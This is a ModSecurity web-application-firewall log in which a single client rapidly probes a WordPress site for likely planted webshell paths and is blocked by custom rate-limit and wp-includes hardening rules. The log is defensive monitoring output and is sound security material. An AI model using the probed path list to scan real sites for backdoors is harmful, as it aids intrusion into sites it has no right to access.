[Thu Feb 26 21:03:20.185126 2026] [:error] [pid 54990:tid 54996] [client 20.216.146.160:31504] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaBEmHtr2qmt_mBhH2wm8gAAAAM"]
[Thu Feb 26 21:03:20.658147 2026] [:error] [pid 44444:tid 44450] [client 20.216.146.160:34792] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w.php"] [unique_id "aaBEmG2sMNmj-yekUk0WQgAAAgA"]
[Thu Feb 26 21:03:21.128086 2026] [:error] [pid 20419:tid 20441] [client 20.216.146.160:16405] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w.php"] [unique_id "aaBEme3DVDvMfTYYUBVScgAAAdM"]
[Thu Feb 26 21:03:21.605021 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:17733] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w.php"] [unique_id "aaBEmeA33x90V6yYHajfiQAAAUg"]
[Thu Feb 26 21:03:22.076823 2026] [:error] [pid 3883:tid 3896] [client 20.216.146.160:42214] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/w.php"] [unique_id "aaBEmuA33x90V6yYHajfiwAAAUo"]
[Thu Feb 26 21:03:22.546603 2026] [:error] [pid 55051:tid 55070] [client 20.216.146.160:35938] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/system.php"] [unique_id "aaBEmgmK1w2kZvh5eLGmrQAAAJA"]
[Thu Feb 26 21:03:23.017125 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:16424] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/system.php"] [unique_id "aaBEm-A33x90V6yYHajfkAAAAU0"]
[Thu Feb 26 21:03:23.487965 2026] [:error] [pid 25311:tid 25332] [client 20.216.146.160:14661] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/system.php"] [unique_id "aaBEm9fdM__yZAgJFSvcrQAAAZI"]
[Thu Feb 26 21:03:23.957477 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:32530] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/system.php"] [unique_id "aaBEm-A33x90V6yYHajflAAAAUM"]
[Thu Feb 26 21:03:24.440626 2026] [:error] [pid 3883:tid 3895] [client 20.216.146.160:36239] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "aaBEnOA33x90V6yYHajfnAAAAUk"]
[Thu Feb 26 21:03:24.916577 2026] [:error] [pid 3883:tid 3896] [client 20.216.146.160:33328] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "aaBEnOA33x90V6yYHajfnwAAAUo"]
[Thu Feb 26 21:03:25.386159 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:34814] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "aaBEneA33x90V6yYHajfowAAAU0"]
[Thu Feb 26 21:03:25.854843 2026] [:error] [pid 55618:tid 55632] [client 20.216.146.160:33147] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/new.php"] [unique_id "aaBEnR61Vrh12f_8oWQJMgAAAQs"]
[Thu Feb 26 21:03:26.332434 2026] [:error] [pid 55051:tid 55073] [client 20.216.146.160:33324] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBEngmK1w2kZvh5eLGmtwAAAJM"]
[Thu Feb 26 21:03:26.801232 2026] [:error] [pid 20419:tid 20433] [client 20.216.146.160:40347] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBEnu3DVDvMfTYYUBVSewAAAcs"]
[Thu Feb 26 21:03:27.269772 2026] [:error] [pid 55051:tid 55061] [client 20.216.146.160:3087] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBEnwmK1w2kZvh5eLGmuwAAAIc"]
[Thu Feb 26 21:03:27.738094 2026] [:error] [pid 25311:tid 25330] [client 20.216.146.160:34099] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x.php"] [unique_id "aaBEn9fdM__yZAgJFSvcsAAAAZA"]
[Thu Feb 26 21:03:28.208063 2026] [:error] [pid 44444:tid 44451] [client 20.216.146.160:33870] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaBEoG2sMNmj-yekUk0WSAAAAgE"]
[Thu Feb 26 21:03:28.686363 2026] [:error] [pid 54990:tid 54997] [client 20.216.146.160:33889] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaBEoHtr2qmt_mBhH2wm9wAAAAQ"]
[Thu Feb 26 21:03:29.159726 2026] [:error] [pid 55618:tid 55628] [client 20.216.146.160:34155] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaBEoR61Vrh12f_8oWQJPAAAAQc"]
[Thu Feb 26 21:03:29.634558 2026] [:error] [pid 20419:tid 20430] [client 20.216.146.160:42204] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaBEoe3DVDvMfTYYUBVSgwAAAcg"]
[Thu Feb 26 21:03:30.111548 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:10934] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaBEouA33x90V6yYHajfqAAAAUM"]
[Thu Feb 26 21:03:30.585493 2026] [:error] [pid 55051:tid 55056] [client 20.216.146.160:30099] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaBEogmK1w2kZvh5eLGmxwAAAII"]
[Thu Feb 26 21:03:31.056599 2026] [:error] [pid 3883:tid 3892] [client 20.216.146.160:10925] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaBEo-A33x90V6yYHajfrAAAAUY"]
[Thu Feb 26 21:03:31.537971 2026] [:error] [pid 3883:tid 3910] [client 20.216.146.160:16386] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aaBEo-A33x90V6yYHajfsAAAAVg"]
[Thu Feb 26 21:03:32.011898 2026] [:error] [pid 55051:tid 55073] [client 20.216.146.160:10898] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBEpAmK1w2kZvh5eLGmygAAAJM"]
[Thu Feb 26 21:03:32.484427 2026] [:error] [pid 55051:tid 55061] [client 20.216.146.160:11242] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBEpAmK1w2kZvh5eLGmzQAAAIc"]
[Thu Feb 26 21:03:32.955068 2026] [:error] [pid 25311:tid 25327] [client 20.216.146.160:34125] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBEpNfdM__yZAgJFSvcvQAAAY0"]
[Thu Feb 26 21:03:33.429030 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:21185] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aaBEpeA33x90V6yYHajfuQAAAUI"]
[Thu Feb 26 21:03:33.899083 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:32549] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBEpeA33x90V6yYHajfuwAAAUM"]
[Thu Feb 26 21:03:34.370127 2026] [:error] [pid 3883:tid 3908] [client 20.216.146.160:30905] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBEpuA33x90V6yYHajfvgAAAVY"]
[Thu Feb 26 21:03:34.845577 2026] [:error] [pid 44444:tid 44459] [client 20.216.146.160:32555] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBEpm2sMNmj-yekUk0WVAAAAgk"]
[Thu Feb 26 21:03:35.316584 2026] [:error] [pid 44444:tid 44453] [client 20.216.146.160:34056] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBEp22sMNmj-yekUk0WWQAAAgM"]
[Thu Feb 26 21:03:35.785815 2026] [:error] [pid 20419:tid 20444] [client 20.216.146.160:49701] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/special.php"] [unique_id "aaBEp-3DVDvMfTYYUBVSkAAAAdY"]
[Thu Feb 26 21:03:36.255220 2026] [:error] [pid 25311:tid 25324] [client 20.216.146.160:24336] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/special.php"] [unique_id "aaBEqNfdM__yZAgJFSvcygAAAYo"]
[Thu Feb 26 21:03:36.724528 2026] [:error] [pid 44444:tid 44457] [client 20.216.146.160:24335] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/special.php"] [unique_id "aaBEqG2sMNmj-yekUk0WZgAAAgc"]
[Thu Feb 26 21:03:37.194341 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:34106] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/special.php"] [unique_id "aaBEqW2sMNmj-yekUk0WawAAAhE"]
[Thu Feb 26 21:03:37.675872 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:3121] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bak.php"] [unique_id "aaBEqW2sMNmj-yekUk0WbwAAAgU"]
[Thu Feb 26 21:03:38.146447 2026] [:error] [pid 20419:tid 20428] [client 20.216.146.160:30134] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bak.php"] [unique_id "aaBEqu3DVDvMfTYYUBVSlQAAAcY"]
[Thu Feb 26 21:03:38.617075 2026] [:error] [pid 55051:tid 55057] [client 20.216.146.160:20503] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bak.php"] [unique_id "aaBEqgmK1w2kZvh5eLGm2AAAAIM"]
[Thu Feb 26 21:03:39.088505 2026] [:error] [pid 55051:tid 55068] [client 20.216.146.160:24331] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bak.php"] [unique_id "aaBEqwmK1w2kZvh5eLGm2QAAAI4"]
[Thu Feb 26 21:03:39.558399 2026] [:error] [pid 25311:tid 25323] [client 20.216.146.160:14663] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBEq9fdM__yZAgJFSvc1AAAAYk"]
[Thu Feb 26 21:03:40.027435 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:12326] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBErG2sMNmj-yekUk0WeQAAAhE"]
[Thu Feb 26 21:03:40.506185 2026] [:error] [pid 3883:tid 3903] [client 20.216.146.160:33875] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBErOA33x90V6yYHajfygAAAVE"]
[Thu Feb 26 21:03:40.979659 2026] [:error] [pid 55051:tid 55074] [client 20.216.146.160:21214] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBErAmK1w2kZvh5eLGm4AAAAJQ"]
[Thu Feb 26 21:03:41.451028 2026] [:error] [pid 25311:tid 25321] [client 20.216.146.160:34120] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaBErdfdM__yZAgJFSvc2gAAAYc"]
[Thu Feb 26 21:03:41.921139 2026] [:error] [pid 55051:tid 55069] [client 20.216.146.160:24353] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaBErQmK1w2kZvh5eLGm5gAAAI8"]
[Thu Feb 26 21:03:42.390449 2026] [:error] [pid 44444:tid 44458] [client 20.216.146.160:20490] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaBErm2sMNmj-yekUk0WfgAAAgg"]
[Thu Feb 26 21:03:42.869601 2026] [:error] [pid 20419:tid 20435] [client 20.216.146.160:12211] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aaBEru3DVDvMfTYYUBVSnAAAAc0"]
[Thu Feb 26 21:03:43.340882 2026] [:error] [pid 44444:tid 44461] [client 20.216.146.160:14683] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaBEr22sMNmj-yekUk0WiAAAAgs"]
[Thu Feb 26 21:03:43.809591 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:3104] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBEr22sMNmj-yekUk0WjQAAAgU"]
[Thu Feb 26 21:03:44.282214 2026] [:error] [pid 44444:tid 44469] [client 20.216.146.160:32542] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBEsG2sMNmj-yekUk0WjwAAAhM"]
[Thu Feb 26 21:03:44.756963 2026] [:error] [pid 55051:tid 55072] [client 20.216.146.160:33112] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/inputs.php"] [unique_id "aaBEsAmK1w2kZvh5eLGm7wAAAJI"]
[Thu Feb 26 21:03:45.226498 2026] [:error] [pid 55618:tid 55634] [client 20.216.146.160:21251] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaBEsR61Vrh12f_8oWQJTwAAAQ0"]
[Thu Feb 26 21:03:45.694591 2026] [:error] [pid 55051:tid 55066] [client 20.216.146.160:39531] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaBEsQmK1w2kZvh5eLGm9QAAAIw"]
